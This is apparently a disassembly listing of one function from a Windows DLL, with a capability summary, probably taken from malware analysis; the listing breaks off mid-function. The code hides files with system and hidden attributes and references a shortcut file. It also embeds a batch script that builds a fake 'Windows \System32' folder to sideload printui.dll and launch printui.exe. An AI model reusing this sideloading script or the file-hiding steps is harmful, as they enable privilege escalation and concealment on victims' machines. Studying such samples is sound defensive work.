Function at 0x180054980
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x690
movaps xmmword [rsp + 0x680], xmm6
mov rax, qword [0x1801d0100]
xor rax, rsp
mov qword [rsp + 0x670], rax
mov r14, rdx
mov r15, rcx
xor ebx, ebx
lea r12, [0x1801b8348]
mov qword [rsp + 0x140], r12
mov qword [rsp + 0x148], 5
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x1800549de
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xa0], xmm0
movabs rdi, 0xc000000000000000
mov qword [rsp + 0x90], rdi
mov rcx, r15
cmp qword [r15 + 0x18], 7
jbe 0x180054a21
mov rcx, qword [r15]
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xb0], xmm0
movabs rsi, 0xc000000000000010
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0x100], 2
lea rax, [rsp + 0x90]
mov qword [rsp + 0x108], rax
movaps xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x100], xmm0
movaps xmm1, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x140], xmm1
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x160]
call fcn.1800093a0
nop
mov qword [rsp + 0x140], r12
mov qword [rsp + 0x148], 5
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x180054ad4
mov rdx, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x100], rdx
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0x90], rdi
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 7
jbe 0x180054b0f
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x100], rdx
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0x100], 2
lea rax, [rsp + 0x90]
mov qword [rsp + 0x108], rax
movaps xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x100], xmm0
movaps xmm1, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x140], xmm1
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1c0]
call fcn.1800093a0
nop
lea rcx, [rsp + 0x220]
call fcn.1800043f0
mov rdx, rax
lea rax, [0x1801b8330]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 9
lea rcx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rcx, qword [rsp + 0x160]
mov qword [rsp + 0x100], rcx
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0x90], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x180054c19
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0x100], 2
lea rax, [rsp + 0x90]
mov qword [rsp + 0x108], rax
movaps xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x100], xmm0
movaps xmm1, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x140], xmm1
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1a0]
call fcn.1800093a0
nop
mov rdx, qword [rsp + 0x238]
cmp rdx, 7
jbe 0x180054ce9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054ce4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800568a5
call fcn.18007bb20
movdqa xmm6, xmmword [0x1801ba480]
movdqu xmmword [rsp + 0x230], xmm6
mov word [rsp + 0x220], bx
lea rcx, [rsp + 0x2a0]
call fcn.1800043f0
mov rdx, rax
lea rax, [0x1801b8370]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 9
lea rcx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rcx, qword [rsp + 0x160]
mov qword [rsp + 0x100], rcx
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0x90], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x180054d84
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0x100], 2
lea rax, [rsp + 0x90]
mov qword [rsp + 0x108], rax
movaps xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x100], xmm0
movaps xmm1, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x140], xmm1
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x1e0]
call fcn.1800093a0
nop
mov rdx, qword [rsp + 0x2b8]
cmp rdx, 7
jbe 0x180054e54
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054e4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800568ab
call fcn.18007bb20
movdqu xmmword [rsp + 0x2b0], xmm6
mov word [rsp + 0x2a0], bx
lea rcx, [rsp + 0x220]
call fcn.1800043f0
mov rdx, rax
lea rax, [0x1801b8358]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 9
lea rcx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rcx, qword [rsp + 0x160]
mov qword [rsp + 0x100], rcx
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0x90], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x180054ee7
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0x100], 2
lea rax, [rsp + 0x90]
mov qword [rsp + 0x108], rax
movaps xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x100], xmm0
movaps xmm1, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x140], xmm1
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x280]
call fcn.1800093a0
nop
mov rdx, qword [rsp + 0x238]
cmp rdx, 7
jbe 0x180054fb7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054fb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800568b1
call fcn.18007bb20
movdqu xmmword [rsp + 0x230], xmm6
mov word [rsp + 0x220], bx
mov qword [rsp + 0x140], r12
mov qword [rsp + 0x148], 5
lea rax, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rax, qword [rsp + 0x160]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0x90], rdi
lea rdx, [r15 + 0x20]
cmp qword [r15 + 0x38], 7
jbe 0x180055035
mov rdx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x30]
mov qword [rsp + 0x100], rdx
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0x100], 2
lea rax, [rsp + 0x90]
mov qword [rsp + 0x108], rax
movaps xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x100], xmm0
movaps xmm1, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x140], xmm1
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x260]
call fcn.1800093a0
nop
lea rax, str..lnk
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 9
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x1800550e5
mov rdx, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x100], rdx
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0x90], rdi
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 7
jbe 0x180055120
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x100], rdx
mov qword [rsp + 0x108], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0x100], 2
lea rax, [rsp + 0x90]
mov qword [rsp + 0x108], rax
movaps xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x100], xmm0
movaps xmm1, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x140], xmm1
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x200]
call fcn.1800093a0
nop
lea rdx, [r15 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x1800551ba
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], rbx
lea rcx, [rsp + 0x120]
call fcn.180007ce0
nop
mov r8d, 3
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x100]
call fcn.180020930
movsd xmm0, qword [rax]
movsd qword [rsp + 0x140], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x100], ecx
lea r12, [0x1801d1130]
mov qword [rsp + 0x108], r12
movaps xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x100], xmm0
mov eax, dword [rsp + 0x140]
test eax, eax
je 0x18005528c
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x138]
cmp rdx, 7
jbe 0x18005529e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055299
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800568b7
jmp 0x180055299
mov dil, 1
test ecx, ecx
jne 0x1800568bd
jmp 0x180055247
call fcn.18007bb20
test dil, dil
je 0x18005555b
mov rcx, r15
call fcn.180053e30
nop
mov rdx, qword [rsp + 0x218]
cmp rdx, 7
jbe 0x1800552f8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800552f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800568da
call fcn.18007bb20
mov qword [rsp + 0x210], rbx
mov qword [rsp + 0x218], 7
mov word [rsp + 0x200], bx
mov rdx, qword [rsp + 0x278]
cmp rdx, 7
jbe 0x18005535c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055357
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800568e0
call fcn.18007bb20
movdqu xmmword [rsp + 0x270], xmm6
mov word [rsp + 0x260], bx
mov rdx, qword [rsp + 0x298]
cmp rdx, 7
jbe 0x1800553b5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800553b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800568e6
call fcn.18007bb20
movdqu xmmword [rsp + 0x290], xmm6
mov word [rsp + 0x280], bx
mov rdx, qword [rsp + 0x1f8]
cmp rdx, 7
jbe 0x18005540e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055409
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800568ec
call fcn.18007bb20
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], 7
mov word [rsp + 0x1e0], bx
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 7
jbe 0x180055472
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005546d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800568f2
call fcn.18007bb20
mov qword [rsp + 0x1b0], rbx
mov qword [rsp + 0x1b8], 7
mov word [rsp + 0x1a0], bx
mov rdx, qword [rsp + 0x1d8]
cmp rdx, 7
jbe 0x1800554d6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800554d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800568f8
call fcn.18007bb20
mov qword [rsp + 0x1d0], rbx
mov qword [rsp + 0x1d8], 7
mov word [rsp + 0x1c0], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x18005553a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055535
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800568fe
call fcn.18007bb20
mov qword [rsp + 0x170], rbx
mov qword [rsp + 0x178], 7
mov word [rsp + 0x160], bx
jmp 0x180056875
lea rdx, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 7
cmova rdx, qword [rsp + 0x1a0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2d0], rbx
mov qword [rsp + 0x2d8], rbx
mov r8, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x2c0]
call fcn.180007ce0
nop
lea rdx, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 7
cmova rdx, qword [rsp + 0x1e0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x240], xmm0
mov qword [rsp + 0x250], rbx
mov qword [rsp + 0x258], rbx
mov r8, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x240]
call fcn.180007ce0
nop
lea rcx, [rsp + 0x2c0]
cmp qword [rsp + 0x2d8], 7
cmova rcx, qword [rsp + 0x2c0]
mov rax, qword [rsp + 0x2d0]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.18001f030
cmp rax, rsi
je 0x18005566b
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x180055636
cmp cx, 0x2f
jne 0x18005563f
add rax, 2
cmp rax, rsi
jne 0x180055627
cmp rax, rsi
je 0x18005566b
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x18005566b
cmp cx, 0x2f
je 0x18005566b
mov rdi, rdx
cmp rax, rdx
jne 0x180055650
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0x120]
call fcn.180007ce0
nop
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x2e0]
call fcn.180005380
nop
mov rdx, qword [rsp + 0x138]
cmp rdx, 7
jbe 0x1800556fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800556f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569c5
call fcn.18007bb20
lea rcx, [rsp + 0x240]
cmp qword [rsp + 0x258], 7
cmova rcx, qword [rsp + 0x240]
mov rax, qword [rsp + 0x250]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.18001f030
cmp rax, rsi
je 0x18005576c
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x180055743
cmp cx, 0x2f
jne 0x18005574c
add rax, 2
cmp rax, rsi
jne 0x180055734
cmp rax, rsi
je 0x18005576c
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x18005576c
cmp cx, 0x2f
je 0x18005576c
mov rdi, rdx
cmp rax, rdx
jne 0x180055751
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0x120]
call fcn.180007ce0
nop
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x220]
call fcn.180005380
nop
mov rdx, qword [rsp + 0x138]
cmp rdx, 7
jbe 0x1800557ff
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800557fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569bf
call fcn.18007bb20
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], rbx
mov r8, qword [rsp + 0x170]
lea rcx, [rsp + 0x120]
call fcn.180007ce0
nop
mov r8d, 3
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x100]
call fcn.180020930
movsd xmm0, qword [rax]
movsd qword [rsp + 0x140], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x100], ecx
mov qword [rsp + 0x108], r12
movaps xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x100], xmm0
mov eax, dword [rsp + 0x140]
test eax, eax
je 0x1800558ec
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0x138]
cmp rdx, 7
jbe 0x1800558fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800558f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056904
jmp 0x1800558f9
xor dil, dil
test ecx, ecx
jne 0x18005690a
jmp 0x1800558a7
call fcn.18007bb20
test dil, dil
je 0x180055934
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x120]
call fcn.180024c80
nop
lea rcx, [rsp + 0x120]
call fcn.1800539e0
nop
lea rcx, [rsp + 0x120]
call fcn.1800052d0
lea rdx, [rsp + 0x200]
cmp qword [rsp + 0x218], 7
cmova rdx, qword [rsp + 0x200]
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], rbx
mov r8, qword [rsp + 0x210]
lea rcx, [rsp + 0x120]
call fcn.180007ce0
nop
mov r8d, 3
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x100]
call fcn.180020930
movsd xmm0, qword [rax]
movsd qword [rsp + 0x140], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x100], ecx
mov qword [rsp + 0x108], r12
movaps xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x100], xmm0
mov eax, dword [rsp + 0x140]
test eax, eax
je 0x180055a21
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0x138]
cmp rdx, 7
jbe 0x180055a33
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055a2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056927
jmp 0x180055a2e
xor dil, dil
test ecx, ecx
jne 0x18005692d
jmp 0x1800559dc
call fcn.18007bb20
test dil, dil
je 0x180055a69
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x120]
call fcn.180024c80
nop
lea rcx, [rsp + 0x120]
call fcn.180044100
nop
lea rcx, [rsp + 0x120]
call fcn.1800052d0
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
xorps xmm0, xmm0
movups xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], rbx
mov r8, qword [rsp + 0x170]
lea rcx, [rsp + 0x100]
call fcn.180007ce0
nop
lea rcx, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rcx, qword [rsp + 0x100]
call fcn.18007a240
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x18005694a
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x180055b2a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055b25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056963
call fcn.18007bb20
lea rdx, [rsp + 0x1c0]
cmp qword [rsp + 0x1d8], 7
cmova rdx, qword [rsp + 0x1c0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], rbx
mov r8, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x120]
call fcn.180007ce0
nop
mov r8d, 3
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x100]
call fcn.180020930
movsd xmm0, qword [rax]
movsd qword [rsp + 0x140], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x100], ecx
mov qword [rsp + 0x108], r12
movaps xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x100], xmm0
mov eax, dword [rsp + 0x140]
test eax, eax
je 0x180055c17
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x138]
cmp rdx, 7
jbe 0x180055c29
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055c24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180056969
jmp 0x180055c24
mov dil, 1
test ecx, ecx
jne 0x18005696f
jmp 0x180055bd2
call fcn.18007bb20
test dil, dil
je 0x180055c5f
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x120]
call fcn.180024c80
nop
lea rcx, [rsp + 0x120]
call fcn.1800484d0
nop
lea rcx, [rsp + 0x120]
call fcn.1800052d0
lea rcx, [rsp + 0x1c0]
cmp qword [rsp + 0x1d8], 7
cmova rcx, qword [rsp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180055cad
test al, 4
jne 0x180055cad
lea rcx, [rsp + 0x1c0]
cmp qword [rsp + 0x1d8], 7
cmova rcx, qword [rsp + 0x1c0]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180055cfb
test al, 4
jne 0x180055cfb
lea rcx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rcx, qword [rsp + 0x160]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 7
cmova rdx, qword [rsp + 0x1a0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], rbx
mov r8, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x120]
call fcn.180007ce0
nop
lea rdx, [r15 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x180055d58
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], rbx
lea rcx, [rsp + 0x100]
call fcn.180007ce0
nop
lea rdx, [rsp + 0x120]
cmp qword [rsp + 0x138], 7
cmova rdx, qword [rsp + 0x120]
lea rcx, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rcx, qword [rsp + 0x100]
xor r8d, r8d
call fcn.180079f88
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x18005698c
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x180055e14
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055e0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569ad
call fcn.18007bb20
movdqu xmmword [rsp + 0x110], xmm6
mov word [rsp + 0x100], bx
mov rdx, qword [rsp + 0x138]
cmp rdx, 7
jbe 0x180055e6d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055e68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800569b3
call fcn.18007bb20
xorps xmm0, xmm0
movups xmmword [rsp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
mov r8d, reloc.LIBPQ.dll_Ordinal_14
lea rdx, str._SystemDrive__
lea rcx, [rsp + 0x180]
call fcn.180007ce0
nop
mov eax, dword [r14 + 0x44]
test eax, eax
jne 0x18005618e
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x90]
call fcn.180024c80
nop
lea rdx, [rsp + 0xe0]
mov rcx, rax
call fcn.18001f420
nop
lea rdx, [rsp + 0xc0]
mov rcx, rax
call fcn.18003d270
nop
lea rcx, str._echo_off_r_nchcp_65001_r_nexplorer__..__r_nif_not_exist__Windows_System32printui.dll____r_n_tif_exist__Windows_System32__rmdir__S__Q___Windows___r_n_tmkdir___Windows_System32__r_n_txcopy__WindowsSystem32printui.exe___Windows_System32___Y_r_n_txcopy_____Windows_System32___Y_r_n_tren__Windows_System32___printui.dll__r_n_tif_exist__Windows_System32printui.exe____r_n_t_tif_exist__Windows_System32printui.dll____r_n_t_t_tstart_____Windows_System32printui.exe__r_n_t_t__else_rmdir__S__Q___Windows___r_n_t__else_rmdir__S__Q___Windows___r_n_
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], 0x22c
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x88], rcx
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x80], rcx
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x68], rcx
lea rcx, [rsp + 0x2e0]
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x2e0]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x180]
mov r8, rax
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x300]
call fcn.18005a910
nop
lea rcx, [rsp + 0xc0]
call fcn.1800052d0
nop
lea rcx, [rsp + 0xe0]
